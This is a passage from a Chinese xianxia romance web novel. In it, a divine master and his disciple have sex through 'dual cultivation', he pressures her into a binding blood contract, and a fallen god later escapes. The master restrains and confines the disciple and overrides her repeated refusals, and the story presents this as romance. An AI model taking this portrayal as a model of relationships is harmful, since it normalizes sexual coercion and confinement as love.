对上那双不再完全纯澈的眼眸上,他用商量般温和语气道,”我教你,好吗?” 如同醉酒般酡红的脸颊,紊乱的鼻息,蓄着泪珠的迷梦眼神,无一处不让人迷恋,九黎伸手抚着那被缠磨得深红的嘴唇。 像个不厌其烦教导弟子的师尊,他耐心地等着女子点头。 可短暂的喘息似乎涤荡开女子眼里的迷蒙,小虎兽似乎要清醒 “和我双修,便能救我,愿意吗?” 就当他无耻吧,即便是用这样的手段,也要让她点头…… 白芷觉得身上滚烫难耐得不行,看着眼前清冷出尘的熟悉面孔,听着耳边的谆谆温语,她忍不住抬手捧住眼前有些摇晃的脸。 救师尊她愿意的- 窗外,日光熹微,伴随着声声无力啜泣,窗台琉璃盆盏中生机勃勃的小绿芽佝偻着枝芽,恨不得整个埋进泥土里。 一声低沉的闷吼之后,啜泣声被吞没于喉间。 西边墙上,两道交叠的身影终于静止,仿佛壁上画一般 半晌之后,居于上的那道精壮身影终于动了,正从泥土里往上冒的绿芽骤然停下动作,丝毫不敢发出声响。 平时只能容纳一人的软榻上,此时紧紧相贴着两人。 九黎俯首轻轻吻了吻女子早已汗湿的脸颊,随手捏了个咒,将两人身上的黏腻一扫而清,而后捞起快蹭落地上的薄毯,盖在女子身上。 九黎从榻上起身,敞露的胸前背后印迹斑斑,除了被冰晶划伤的伤痕,三三两两长长的爪印和齿印交叠其中。 他随手穿上脱落在地上的雪色锦衣,身姿笔挺,神色清淡,只是细看,那双孤泠的眼睑还有抹未褪尽的潮红,衬得那张清隽圣洁的俊脸有种莫名的妖异。 安静的殿内只有沉沉的呼吸声,九黎回头看了眼榻上的女子,在眸色变深前提脚踏进莲花虚境内。 俯在软榻上的女子早已累极昏睡了过去,纯白色的薄毯滑落在腰窝处,裸露在外的背上泛着淡淡的粉红,腰侧两个未消散的指印清晰印在其上,看着好不可怜的样子。 屋内有人一来一回,她都丝毫未察觉。 九黎离开也就两盏茶的时间,虚境内被他失控的灵力摧毁得几近坍塌,他进去善了个后。待他再从虚境中出来时,榻上女子还是刚刚的姿势,丝毫没有变换过的痕迹。 他脚步不自觉放轻,走近蹲在软榻边上,视线与女子平齐。 她露出的半边眼睫上还挂着泪珠,唇瓣红肿,看着她脸上未散尽的红晕,九黎眸色一深,伸手把挂在女子眼睫上的泪珠轻轻拭去。 他就着半跪的姿势,带着神祗天生的矜贵与克制,凑上 前,吻上那瑰红微肿的唇瓣,安抚一般,小心翼翼地吮着。 他知道她难以承受,可他起初根本无法自控。 失控的戾气和灵力在一场场情事之后才慢慢得到收敛,等到他能控制自己的意识时,才听见身下女子震颤不止的啜泣声 可那个时候,另一种更为难抑的渴望瞬息之间扑灭他的清明理智。 她越是震颤,越是推拒,他越无法停止 就如此时,原本只是想浅尝辄止的亲吻渐渐变了味,九黎的喘息声越来越重,那双清冷自持的眼眸里渐渐被暗色湮没。 他忽而坐在榻边,伸手将女子和薄毯一同揽入怀里,在女子被扰睡的不满嘤咛声中,撬开牙关闯了进去。 呼吸被掠夺,女子很快便开始挣扎起来 挣扎间清,如潮水般记忆汹涌涌入脑海里。 这次没有喝醉,所有的记忆清晰无比。 又是熟悉的窒息感,白芷猛地睁开眼。 舌尖肆意缠着,不给女子半点退缩的余地,胸前的手愈是推拒,九黎吻得越深入,直到女子的指尖无意识地攥紧他的衣领,本能地主动探出柔软,想从他唇中汲取些许空气。 舌尖被轻轻地吮吸,九黎的身子骤然僵了僵,睁开那双早已染满暗色的眼眸。 …… 这一场失控的情事,总结出的教训足够白芷写满一本书。 她已经分不清是与师尊失控后的双修,还是此刻师尊忘情的亲吻更让她震惊。 她的下巴被紧紧扣着,手也被绕到身后。 她知道,唯一能让她获得生息,抚平身上之人燥意的方法,只有一个。 想逃脱,便只能先靠近。 她微微仰起下巴,在男子愈发深入的亲吻中,试探性地主动迎上去。 果然,所有叫人难以挣脱的桎梏瞬间松动。 白芷趁机往后仰,分开紧贴的唇瓣。 只是这样的回应只能短暂逃脱一小会。 很快,腰间又被收紧,男子的额头抵上她的,在双双还急促的喘息声中又凑近。 第118章 第118章我要你,不准逃避…… “痛”慌张之张,白芷急忙吐出一个字。 九黎也痛。 但想着刚刚挂在女子眼睫上的泪珠,他贴了上去,吮了几下后,终还是退出来。 白芷急切地喘息着,见师尊终于能听进她的话,已经被捻灭多遍的心思不由得又燃起希望。 想起在虚境内,无论她如何挣扎哭泣,师尊都是一副恍若未闻的模样,后来甚至召来日月之环将她全身桎梏在莲座上,让她眼睁睁地看着他对自己做那些 白芷咬了咬有些被吮得有些发麻的舌尖,不敢让自己再回想。 她小心翼翼抬眸看了眼九黎。 此刻,他眉心处那令人心惊的血色印记消失无踪,干净地仿佛从未出现过一般。 而他周身也不再萦绕着那些可怕黑紫煞气…… 还好,师尊没有堕魔 吓死她了 但 白芷垂眸看了眼不着寸缕紧贴在他怀里的自己…… 不如吓死她算了。 在不知时长失控的痴缠中,之前在花梨云海那段模糊的回忆断断续续被记起。 云海之后,她能若无其事继续当师尊的好徒弟,是因为她真的忘记。 而且,那时她真的醉了。 凡间关于酒后误事乱性的例子多着 但这次她是实实在在清醒着的。 而且还是无比清醒。 从被师尊压在金莲之上时,在那些纠缠间隙,只要脑子还有余力思考,她便竭力在脑海为他们两人的行径寻找理由。 一开始理由是很充分的,师尊灵力失控,为了取回残留在她身上的魂魄,他们不得不用他所说的双修法子 她不是没有怀疑过师尊是骗人的,她想着揭开谎言很简单。可她哪曾想,这样低阶的术法,竟真能将缠绕在她元神之上的残魄一丝一缕地剥离 虽然剥离的效果不是立竿见影,但确实卓有成效。 一遍又一遍,师尊额间的血色印记确实在慢慢变淡…… 后来,师尊眼眸里黯色终于不再是骇人的浓灼,他不再是沉默地桎梏她承受,他凑上来吻去她的泪珠,低哑地让她别哭,不再那般不顾轻重…… 可他还是不肯离开。 在令人晕眩的震荡中,她咬着唇拼命让自己吐出一句完整的话,求他将缠绕在她身上的日月之环解开。 一开始得到的是一阵愈发摧木拉朽般的疾风暴雨,后来风停雨骤,小船乘着雨后波浪缓缓靠岸之时,日月之环当真从她手腕和脚腕滑落。 可就在她以为终于功成身退,忍着身上的钝痛想离开时,已经恢复清明的师尊却又将她扯进怀里 之后,如何出的莲花虚境,如何又在那个窄小的软榻上将那双修之法行到极致,都是在他们师徒极致清醒的情状下。 她不明白为什么恢复清明的师尊还要不厌其烦地拉着她修习那个术法? 为什么明明他已经能掌控自己,看着自己的眼眸依然沉得叫人心颤。 甚至,每每只要她开口喊停,那张清隽圣洁到叫人不敢直视的脸便会凑近,堵住她的唇。 强硬叫停不行,软下性子商量也不行,几次之后,白芷清楚明白,九黎就是不让她开口。 不让她拒绝。 他甚至贴着她的耳廓,不准她闭眼,让她好好地看着,感受着,学着 后来,失控的人似乎变成了她。她被卷入一波春融荡漾的雪水中,如同即将溺毙之人,所有的感官都无法自控,所有的动作只凭本能 白芷不由得打了个冷颤,小心翼翼地将裹在身上的毯子拉高了些。 所以,现在这个场面要怎么收尾? 这个问题确实该好好想想,但再怎么想也不该是眼下这样被动的模样…… 白芷眼珠滴溜溜转了转,只是转了半天寻不到可以着落的地方…… “嗓子痛”她咬着唇,声音轻得要仔细听才听得见。 两人离得近,九黎 当然听见了。 见女子的头几乎要埋进地上,他指间捏起她的下颌,盯着她纯净眼眸,像是在辨认她话之真假。 也难怪他犹疑,毕竟从虚境到殿中,中间她不知寻了多少借口想脱逃 但眼下,小虎兽满头青丝散落于身后,许是哭过多次,眼睛水洗般清亮,鼻尖也泛着淡淡的红,一张莹白小脸娇俏灵动。 不知是不是因为羞赧,她的声音低软,也沙哑得厉害 九黎凑近,在她鼻尖亲了亲,终于把人放回榻上。 而后他站起转身,走到桌前。 趁九黎斟水之际,白芷着急忙慌念了个咒。 多了一层衣衫,心里的不自在才稍稍淡了些。 九黎拿着装满灵液的茶盏回来,扫了眼女子身上多出来的一层衣衫,走到榻边,将茶盏凑到她嘴边。 “” 虽然身上确实不太舒爽,但也不至于没有力气自己喝水,白芷稍稍往后退了退,伸手去接茶盏。 九黎也不勉强,任她颤巍巍地将茶盏拿走。 白芷喉咙干得发痛,也顾不了一直凝在身上的目光,她接过来后一饮而尽。 “还要吗?”男子的声音已恢复往日清凌。 白芷不敢抬眸,只是摇了摇头。 待男子接过茶盏转身去放回,她才小心翼翼抬眸觑了那背影一眼。 怎么办怎么办? 见脚步声又往回,白芷心里急得直敲鼓,因为吃过太多教训,以致于她现在瞻前顾后,不知道该怎么做。 直到那身影又坐回榻边,似乎又要伸手过来,白芷当机立断,下意识把手背到身后。 只是因为过于匆忙,竟把垂落在腿上的纱裙也往后带,露出一段洁白的脚腕。 脚腕处除了指印,还有密密麻麻粉色的痕迹…… 白芷咳了咳,急匆匆将裙摆拉好。 九黎将她的局促不安看在眼里,倒是没有不悦。 小虎兽被吓狠了,他从来没见过她哭成那般可怜的模样 白芷指尖死死地揪着裙摆,脸上故作坦然地挤出一抹笑。 “我看那魂魄也取得差不多” “为免夜长梦多,剩余的师尊可从我元神直接剥之” 见九黎眉头动了动,白芷心里也跟着颤了颤,生怕哪句话又惹出他那样可怕的模样,她眼神飘忽挪开,解释道:“我这里还有蚩祗给的一瓶圣霊结晶。” 急着证明一般,她不知从哪里掏出一个绿色的小瓶子,“就是这个…诸夏有法子的,那个要不我还是先回水榭” 白芷尽量让自己镇定些,她与师尊双修是无奈之举,但还在也没正式结契,只要她不说,这世上便没人会知道。 他们依然是师徒,什么都没有变的 小虎兽吃了这么多教训,竟然没有一丝长进。 九黎脸色沉了沉,只是视线从那颤巍的眼睫滑过,落在那红得滴血的耳尖时,身上的冷凝之意还是散了些。 他默不作声,伸手把那一直绞着裙摆的小手牵到掌心。 白芷还在绞尽脑汁想着怎么组织语言,没想到突然有股冰凉落到自己的手背上 她脑海里无端闪过手被他长时间桎梏在头顶时的场景 下意识想惊呼,但下一刻,一股温和且清凉的灵力从手腕处渗入体内 露在衣袖外的几指深色指痕慢慢消散…… 喉间咽下惊呼的声音太急,以致于呛出细细的咳,白芷慌忙用另一只没被握住的手掩住唇。 而在她咳嗽之际,那只冰凉的手掌顺着她的手腕,滑进她的袖摆内直到被女子摁住。 “师尊。”白芷急呼。 望着女子惊慌神情,九黎面色平和,淡定看着她。 事到如今,他不会给小虎兽留装傻的机会了。 她愿意也好,不愿意也罢,总之,这层窗户纸一定要掀开。 “白芷。”九黎抬起白芷的下颌,不让她闪躲,“我说了,我是清醒的。” “那些话我在你耳边说了多遍,如果你还没记住,我不介意再说一次。” “我要你。”他紧盯着女子的眼睛,一字一句道:“而你只有一种选择。” “不准逃避。” 也逃不了。 他伸手扣上女子的后脑勺,俊脸压下,直到吻轻轻贴在她的唇角处。 “与我结契吧。” 结契,烙印,永远属于对方。 结契? 跟师尊? 见小虎兽微启着唇一副呆愣模样,九黎无声笑了笑。 他俯身,启唇吻上这么他已经看了许久的柔软瑰红。 她还在惊讶,倒是方便了他,轻而易举就尝到她口中清甜。 他伸手从她腰间一揽,单手将人抱至膝上。 突然悬空,白芷的神思被唤回,本能伸手揽住眼前人的脖颈。 显然,九黎被这个下意识的动作极大地取悦,他轻笑一声,压住她的腰窝,将人贴近,拇指轻轻摁着她发烫的唇瓣。 如同终于得到一件渴望已久的珍宝,以致于已经抱着怀里仍觉得爱不释手。 眼见又被抱入怀,白芷心里简直如山洪倾泄,她觉得自己接近崩溃境地。如若不是一直寸步不离九黎,她都要怀疑眼前这样动辄对她又亲又抱的男子被人换了芯。 心里之下,她捂住男子压下来的唇瓣,“不对的。” 白芷摇头,“师尊,我们是师徒。” “从开天之初,就没有师徒双修的先例。” 而且,师尊不只是她的师尊,他还是统领三界的神尊。 “这是不对的,你教过我的,错了就要改。这次是为了剥魂,只要我们不说” 见女子眼眸转瞬晶莹,九黎心里钝痛。 他拉开她的手,不容置疑地贴近她唇瓣,“不是因为剥魂。” “别怕。” 他轻轻含住她的下唇,安抚一般,“有我在,什么都别怕。” 师徒也好,道侣也好,什么身份都不重要,这世上无人能阻挡他想留她在身边。 明明知道不对,可有些已经习惯已经深入骨髓。譬如说,只要见到师尊,听到他的声音,她就会莫名地安心。 即使此刻这份不安是他带来的。 唇瓣被咬破,九黎也不肯让女子退缩,交缠的吐息越来越灼热,所有迷乱无解的混乱被碾碎在声声呜咽之中 第119章 第119章喜欢和他做那些事 处于结界中容易让人忘记时间的流逝,况且,白芷有几次是实在太累昏睡了过去。 兰因殿内不知何时多了一张玄菱冰床,此时,殿内被落下一层弥月罩,月光般柔和的光线透过纱帘流泻而下,落在女子睡熟的脸庞上。 一旁,闭着眼睛休憩的男子指尖忽地颤了颤,他睁开眼,轻轻掌着女子的后颈想将手抽出,只是这样细微的动静仍引来女子不满的嘤咛。 女子在睡梦中都咬着唇,颇是委屈不忿的模样,眼圈周围也哭得有些肿。 九黎眉心微微拧紧。 这次闹得太过火了。 他俯身,在那还残有红晕的脸颊上落下一吻,在她耳边轻轻说道:“我出去一趟,你再睡会。” 也不知道女子有没有听见,她只是不耐般地在枕上蹭了蹭,而后转了个身,留了一个窈窕背影给男子。 九黎无奈轻笑,掀开云被起身。 在他离开后不久,床榻上的女子缓缓睁开眼 许是刚刚睡醒,白芷的眼神还带着点迷蒙水汽,她翻过身,杏眼圆溜溜地转了一圈,似在确认这次醒来时又在哪里。 看了一圈,确认师尊又从幽篁亭将她带回兰因殿来后,她鸦羽般的长睫毛往下垂了垂,咬着唇不知在想些什么。 半晌后,感受着脚腕两道隐隐的暖热,她叹了口气,推开云被坐了起来。 从上次从百花盛宴回来之后,短短几 日,她与师尊的关系发生翻天覆地的变化。 从一开始的震惊抗拒,到现在可以平静地坐着回想,这期间她断断续续吃了不少苦头。 白芷甚至都怀疑她被九黎下了什么蛊,不然怎么会每每只要她心里开始挣扎不安,或者开始琢磨着如何逃跑,他总是会第一时间察觉。 然后,对她施诸各种惩罚…… 可那算什么惩罚! 白芷耳尖一下子烧了起来,摇摇头,不愿细想。 其实一开始他们还能好好说话,或者说,他还能给她说话的机会。 只是不管她说什么,最后回复她的,永远只有一句话,留在他身边。 留在师尊身边本就是她所愿,可关键是,师尊口中的留下与她所说的留下大相径庭。 她好说歹说,好赖话说尽,最后怎么都谈不拢。 之后,在她无论如何都不肯松口与他结契之后,他沉默不言,抬手一挥,就将日月之环落于她脚腕。 于是,除了凌霄殿,她哪里都去不了。 九黎的耐心有限,尤其在心神不稳的时候。被惹怒之后,有些情愫收敛不住。 后果便是,白芷彻彻底底被翻来覆去,过了几日昏昏噩噩,师徒不像师徒,道侣不似道侣的日子。 而九黎表面上虽还是一副沉寂无波的模样,但床榻上,他似乎有种草木皆兵的感觉。 不管白芷因为什么原因皱了眉,抑或是因为受不住而催他离开,都能轻易招惹到他,换来更叫人无法承受的对待。 短短几日,师尊似乎完完全全变了个人。白芷这十几万年,听他说过的话,或许都没有这几日榻上听到的多。 他的动作明明凶狠地让她止不住啜泣,可凑在耳边哄人的话却缱绻温柔地令人心颤。 这哪里还是那个端坐神台,尘埃不染的九黎神尊。 她不知道是不是双修之法本就如此,或是她被师尊迷了心志。 总之,她根本抵抗不住他的强势,也抵抗不住那些羞人的纠缠,她的意识总是会很快无法自控,最后,在沉沉浮浮中被他卷入更深的浪潮中。 但到底,最让她不安的,不是师尊冷漠纠缠的模样,而是渐渐的,有一种念头悄无声息在心底冒了出来:这事虽难以接受,但好处却是实实在在。 师尊确实没有骗她,双修之后,她元神里师尊的残魄几乎快剥离完整。 而且,师尊的元神便是水系冰原,天生的神明,他的元神自混沌中诞生,创世之源,滋养她的火系元神再和合不过,只不过几日,她便感觉灵府灵气饱满充郁,隐隐有突破之际 这样想着想着,白芷又迷迷糊糊睡了过去,只是没睡沉,脸上多了几丝清凉的痒意时,她睁开眼,正好对上一双清冷沉静的眼眸。 “醒了?”九黎微微退开,自然撩开她脸颊上几丝碎发。 他的声音清凌,只是动作却亲昵,说话时还轻轻啄了啄她的唇瓣。 白芷还是不太习惯这样的亲近,只是心里有事想求他,一时也不敢躲闪,闷闷地应了声,“嗯。” 小虎兽难得乖巧,九黎奖赏一般抚了抚她的脸颊,“起来吃些东西?” 待她点头,他伸手想将人揽抱起身。 只是他刚压下身,白芷不知想到什么,慌忙道:“我自己起。” 九黎顿住,看了她一眼,没有强求。 身子仍有点酸痛,但到底元神被滋养,气力倒是充足。 身上的浅黄色衫裙不知是什么时候换上的,白芷亦刻意不去纠结,自己下了床,乖乖走到外间的桌边坐下。 桌上已经置了好些灵液瓜果,看着倒同七彩雀平时采的那些相似。 白芷咬了咬唇,心里默默想,七彩雀定然不知道她被师尊囚禁起来但如若师尊真同意放她出去,她又该怎么同她说起这一段骇人的经历。 不管怎样,她一定不能被困在这里。 如今的师尊太危险了 弥月罩被一手挥开,屋内流映日光,难得温馨。 九黎坐在白芷对侧,看着女子拿着果子,小口小口啃咬着,眼神惺忪落在桌上,看着呆呆的。 真被吓坏了? 他觉得有些好笑,眼神也变得柔和,他问:“在想什么?” “嗯?”白芷回了神,“没什么。” 把最后一口果子咽下后,她站了起来,时隔多日主动往男子边上凑。 走到九黎身旁的位置坐下,白芷咬了咬唇壮了壮胆,这才抬起眼看向男子,“那个,我不躲了。” “把师尊把日月之环取走好吗?” 她的态度跟前几日那种誓死不从的模样截然不同,像只讨饶的猫儿,声音软软的,偏生睫毛底下偷瞄他的那一眼,又亮晶晶地盛满狡黠。 相识千万年,九黎何尝不知,这只小虎兽哄人的话总是信口拈来。 他微垂眼睑,似乎在认真辨认她眼神里的真伪。 这两日她确实不再如之前抗拒害怕,但是不是真心接受,还未可知。 只是小虎兽胆子小,不能逼得太紧。 “可以。”九黎淡淡应道。 白芷微微一怔,这么好商量的? 她指尖捏着衣角,趁热打铁继续说道:“那能不能…放我出去?” 从前她无事最喜欢来凌霄殿,赖在师尊身边,常常一呆就是百十个年轮,但眼下,跟师尊同处一室那种感觉就像是踏着刀尖在起舞,时刻让她惊惊乍乍…… 再呆下去真的受不了了…… “那个,我同朱雀还有个约定,过几日可能要去一趟神冢……”怕男子拒绝,白芷主动伸手拉住他的袖摆,小心翼翼地保证,“不会呆很久…大概来回也就一两日……” 才怪…… 她要出去躲几千年,等师尊完全恢复正常再考虑回来…… 灵府得到滋养,虽然眼睑下有些许青色,但女子的眼睑眉梢俱泛着动人的神采,比初绽的花梨都娇艳。 九黎瞥了眼被她牵住的袖摆,沉静的瞳孔里多了抹温软的余韵。 “可以。”他应下。 而后在女子笑意即将堆满眼底的时候继续说道,“结契完,你想去哪里都可以。” 虽然不能逼得太紧,但小虎兽惯是个得寸进尺的。 他说了,他们之间没有别的余地。 既然怎么说怎么做她都不长记性,那便结了契,真真切切烙个印,免得她心思太过活泛。 “结契?”白芷声音都有些抖了。 “嗯。”九黎将她的手放到掌心,有一下没一下地捏着她的食指指腹,平静道:“你不是已经应下了吗?” …… 她哪有! 闻言,九黎挑了挑眉,带着霜雪般清冷的指尖抚上她的腕骨,低低地“嗯”了一声,“没有吗?” …… 额 白芷腕骨被抚得有些发麻,她忽然记起些什么。 好像确实有 但那个时候说的话,哪里作得了数。如若那个时候她不应是,他肯放缓些吗? 可他不仅对她狠,对他自己更狠。 应了他还不满意,明明已经应了是,然后海浪只需最后一波翻涌就能将船靠岸。 掌舵者偏偏不肯,他让潮水越涨越高,让船上漂泊的人儿彻底被吞噬在海浪中,失了意识,只能凭本能抓紧他这个救世主,不至于被颠入波涛中。 然就在这个时候,掌舵者竟然不顾后果,在闷雷交织中硬生生拉停船只,就为了逼出一句话。 潮水缓慢地推涨,谁都不好受,船上的小人儿更是被催得不住掉眼泪。 而船只不间断被海浪高高抛起又摔下,在细碎的潮声中,与海面交缠成一片暧昧的银晖。 直到那小人儿屈从于本能,一字一句地被引导,断断续续吐出他想听的那句话, 想起她在失控的混乱中缠着师尊说她愿意结契,喜欢和他做这些事情,哭着说要他快些时的场景,白芷的 耳尖霎时红得如同滴血,恨不得找个洞钻起来再也不出来。 算了,毁灭吧。 “结契,还是乖乖呆在这里?”九黎语气轻柔,端的是一副随她自由选择的模样。 但这话听在白芷耳朵里,不异于浓浓的威胁意味。 见小虎兽耷拉着头一言不发,九黎神情淡了些,“现在选吧。” 虽然选不选,都是一样的结果。 见九黎神情可见冷了下来,白芷心里忍不住一颤,生怕晚一点真的连兰因殿都走不出去。 “结契。”她忙说道,“我选结契。” 仿佛早已预料到她的反应,九黎颔了颔首,道:“好。” “那就现在结吧。” 这句又不是商量的语气了。 白芷在心里重重叹了口气,算了,早结晚结都要结 再说下去可能又得吃些苦头了,识时务者为俊杰,先得到自由再说。 对上九黎的目光,白芷弯了弯眸,挤出一抹僵硬的笑容。 第120章 第120章今日之后,不会再逼你…… 白芷没想到九黎会将她带回这里。 天外天的无量神殿,在母神还未归于混沌时,她曾经在这里度过了几万个年轮。 这里于她,是最初始的归属。 无量神殿依天极而建,主殿以玄冥为基,十二根盘龙柱撑起穹顶,殿心悬浮由日月星辉凝就的混沌灵台,台周环绕着已经归于混沌的三十六盏神祗魂灯,庄重而圣洁。 白芷被拉着立在混沌灵台之前,看着那一盏盏刻着熟悉名字的不灭魂灯,心里一阵惊涛骇浪。 那些名字,随便拎出一个,都是曾经煊赫三界的一方神衹。可于白芷而言,这些于她更多的都是看着她长大的长辈和好友。 而且,被四周魂灯以日月拱卫之势围在最中间的那盏魂灯,是予她生命的母神。 直到这一刻,白芷才算真正明白,九黎没有在同她开玩笑。 而结契这件事,是真的没有转圜的余地。 在九黎的灵力注入灵台之时,天命铃无风自动,盏盏魂灯被叩响。暗金色的太古神纹从盘龙柱环绕而下,交织的古老咒链至他们脚底流转出蓝金交织的契阵…… 天命铃空远的氤氲声让人自主心生虔诚,只是白芷嘴畔微微颤动却发不出一点声音,连眼睫都凝固成惊愕的弧度。 她怔愣地任由九黎牵起她的手,踏入契阵内,而后,看着他以剑峰划破掌心。 丝丝缕缕的血珠滴入那契阵的阵眼内…… 这是最古老的血契,以神明之身起契,至死不得休。 白芷实在没有想到,九黎会将结契的地点选在混沌灵台前。 他居然要当着母神和众神祗的面与她结契? 刀身锋利不见血,清晰倒映着女子不安和躲闪的眼神。 九黎的手掌还在滴着血,从血珠中倾泻出的灵力将星辉凝出晶冰,折出细碎多彩的光晕。他平静地将刀递给女子。 到了这一刻,他反倒不急了。 白芷看着眼前的精致小刀,袖摆里的手沉重地抬不起来,在细碎的光晕中,她抬眸,脸上难得一副认真到不能再认真的神情。 “师尊,不结契我们也可以……” 九黎握着刀把的手倏地动了动,他抬了抬眼皮,与女子相视,“不可以。” 九黎脸上依然沉冷平静,只是下颚绷紧了些,“白芷,若结契不成,你我之间,师徒也做不成了。” “今日之后,我不会再逼你,但你我之间,不会再有相见的一天。” 白芷,我要你看到我的心,也要你看看自己的心。 不做师徒?永不相见? 白芷没想到有一日会从师尊口中说出这样决绝的话。这样的话,她单是想着真有那一日,心底蓦地如被针紧紧轧过,痛得她有一刻忘记喘息。 神仙的岁月实在太长,长到有些曾经以为会深刻进血脉的记忆如今都开始变得模糊。 在这段长长的岁月,进入她生命的人很多,离开的也很多。 唯有九黎,自她有记忆伊始,无论何时何地,只要她回头,他似乎永远都在。 母神归于混沌前曾拉着她的手嘱咐她,让她替她好好守护九黎。 她好像一直都没有做到,她不仅没有守护好他,反而,她总是给他添麻烦,甚至还害得他如今灵力失控神魂不稳。 如果,她说的是如果,如果她能逼自己接受余生中再也见不到师尊。 师尊当真也可以永远不再见她么? 这满室的魂灯,是一个个曾经真切在他们长长岁月中留下刻骨印迹的人。 而如今,一起结伴走过岁月长河的人已经所剩不多了。 九黎于她,是混沌天道赐予的最深的牵绊。 如果她无法接受两人从此毫无瓜葛,那便只剩一个选择。 白芷仰着头,眼神不再闪躲,她的语气也很平静。 “如果我能做到呢?” 男子清泠自持的模样终于在女子话音落下之时寸寸龟裂。 九黎蓦地将刀锋握至掌心,手指重重收拢,极致的忍耐之后,他看着小虎兽望向他纯澈无畏的眼神,忽地嗤笑一声。 “除非我死。” 而后,他如愿在女子眼中看到无畏消散,只余满目震惊。 所以,这是她心底真正的想法。 宁愿永不相见,也不愿与他有一丝瓜葛。 九黎神情漠然,被血迹染透的手掌缓缓垂下…… 刀锋从指尖脱落那瞬,白芷眼疾手快握住刀把,另一只手从九黎手掌中挣脱出来。 挣脱之时,她的目光才触及到九黎还在簌簌滴着血的手掌。 指尖一颤,她手中的小刀差点掉落。 她主动拉上那只染血的手掌,将掌心翻转向上,急忙落了个止血咒。 在九黎冷硬的目光之下,她松开他的手,而后,转身正面混沌灵台,对着母神的魂灯,拿起小刀,麻利往掌心一划。 血珠滴答滴答坠入阵眼,不过眨眼之间,两道血线在契阵内交织成赤金姻缘线。 天穹骤然劈落几道神雷,四周的魂灯同时大亮,盘龙柱上神龙在鎏金光芒中栩栩如生。 白芷的嘴唇被她几近咬出血痕,她的眼睫颤如蝶翼,某一刻,她似乎真的想通了,豁出去了,她捏了捏拳头,主动伸出手去交握住九黎的掌心。 两道血痕贴合之际,脚底的契阵已将所有的血线交融吞噬。 两人腕间处,一蓝一金两个契约咒印在细碎星芒中渗入骨血。 星芒非死不灭。 即便是无所不能的神尊九黎,此刻也不得不承认,他永远看不透这只小虎兽的想法。 明明一息之前,那双清透的眼眸里还泛着决绝,像是宁死都不愿意留在他身边。 他承认,有那么一瞬间,他几乎控制不住任心中突涌的怒气,他甚至闪过将三界尽数焚毁的恶念。 或许是天道不忍,又或许是众神祗垂怜他。 在他即将放弃抵抗那不停在耳边絮絮低语的心魔时,小虎兽竟向他走近,主动扣住他的手。 金光绚烂中,九黎瞳孔中浪潮迭生。 他从来没想到,这世上有这样一个人,一颦一动都能随意牵动他的心绪。 而他对此甘之如饴。 契约正式结成,九霄祥云骤然汇聚,神殿之外,无数星辰从天穹裂开金痕间如雨坠落,在云海中化作流萤纷飞。 神殿外,母神栽下的那株枯萎万千年的婆罗树被殿内泛出的灵力滋养,在云海中舒展开几支嫩绿的枝芽。 地涌甘泉,天降花雨,连南荒最凶狠的穷奇兽都伏地嘶吼。 万千祥瑞,三界天地生灵都在为这场神迹献上最隆重的祝愿- 天外天的神钟千万年来第一次叩响,钟声长鸣,响声庄重而威扬,传到仙界之时,连仙帝都震惊得一时忘记收敛神色,从玉清殿中跑了出来。 跟在仙帝身后走出玉清殿的圯上老人,在钟声中抬头看了一眼九重天的方向,而后抚了抚臂上的拂尘,无声地叹了口气。 终究还是阻止不了。 可也是意料之中。 神明的意愿,岂是他等能扭转的。 “真的是天外天的神钟在响?”仙帝看着汇聚于西方的九霄祥云,眸里尽是不可置信。他记忆里,上一次神钟响起,还是母神最后一个诞辰之时。 神钟叩响必是神界有喜事。 可如今九重天只余神尊与白虎星君,能引来这般祥瑞盛景的,会是什么喜事?仙帝心里琢磨了一会,却琢磨不出。 “圯上。” 仙帝回头,见圯上老人似盯着远处发呆,又唤了他一声。 “圯上,你可知道神界近来有何喜事?” 圯上老人拂尘一挥,眼中波澜尽退,正要摇头之际,九重天顶忽然传来一阵闷雷般的轰鸣,晶蓝的海浪如巨龙般撞击九重结界,百米高的巨浪将天柱卷散于无形 “不好,下星海那位逃出来了。”- 契约结成,尘埃落定,白芷原先的不安反而消散。 她素来不是个自困自苦的人,什么事情都应该向前看。 指尖被另一只微凉的手掌握得有些生痛,她也只是深吸了一口气,没有挣脱开。 白芷心里藏不住事,既然已经结契,有些话还是要同师尊解释清楚。 可还没等她开口,天 地忽然变色,即便是在无量神殿里,白芷都能感觉到整座神殿在一阵毁灭般的轰鸣声中震荡了几下。 而后,她身旁的师尊忽然捂住胸口,吐出一口鲜血。【你现在阅读的是 】 120-128 第121章 第121章一路上冷冰冰 没有人知道桑尤是如何挣脱缚神索从下星海逃脱。缚神索,是以九黎之神魂唤醒的上古神器,神明之力怎么会被轻易挣脱。 只是所缚之人是堕神,所以,似乎又没有什么是完全不可能的。 总之,下星海的海浪涌至九重天而下,几乎让大半个仙界都湮没在浩洋里。为了让那些海水不至于泛滥到三界,仙帝当机立断,立即命昊阳仙君携一半仙将前往镇压水患。而其他仙将整装待命,随时准备将堕神桑尤缉拿回。 仙帝站在玉清殿外,连下几道令后,转身对身侧的白须老人说道:“圯上,同我上九重天吧。” 仙帝有自知之明,即使举仙界之力,也不一定能撼动桑尤一分。 况且,桑尤从下星海出来后逃离的方向,是魔界。 自万年前仙魔大战重创魔界之后,三界好不容易恢复安稳局面。若魔界自此多了一位魔神,那恐怕三界再无宁日了。 祸患在前,必须请神尊出来镇守。 一向沉稳的圯上老人也面色沉重,应道:“是。”- 不待仙帝和圯上启程,天际云海翻涌,晶蓝灵力穿行于云间,所到之处,奔涌的海浪慢慢归于缓和 见到九黎主动现身,仙帝眉眼间闪过一丝惊喜,待九黎落地之后,他疾步上前,行礼后急忙禀道:“神尊,桑尤从下星海逃出,引发水患,守天门的仙将见他往魔界方向去了。” 旁边的圯上老人忧心忡忡补上一句,“无烬剑也被带走” 无烬剑是上古神器,遇魔弑魔,遇神弑神。 桑尤有此剑在手,便让缉回他这事变得越发棘手。 而且,别人不知道,但仙帝和圯上都很清楚,桑尤能从下星海逃出,与神尊神体定然相关。万年前,神尊抽神魂唤醒缚神索将桑尤禁压于下星海,之后,为了救回白虎星君,又不惜陪她历劫往生,神力多有损耗。如今万年已过,神尊神体到底恢复如何,只有他自己知道。 但眼下也不是细究这些的时候,缉拿桑尤,不让魔界危害三界才是首要大事, “仙兵已集结完毕,只待神尊令下” “嗯。”九黎声音一如既往的沉静。 只是眼光落到身侧的人时,隐约多了别的情绪。 “你先回去。” 话毕,仙帝和圯上老人齐齐顺着九黎的视线,看向一直安安静静站在他身旁的白虎星君。 这一看,仙帝忽地想起刚刚九重天的祥兆。按理说,神尊的修为已经升无可升,难道是白虎星君重新突破神仙境? 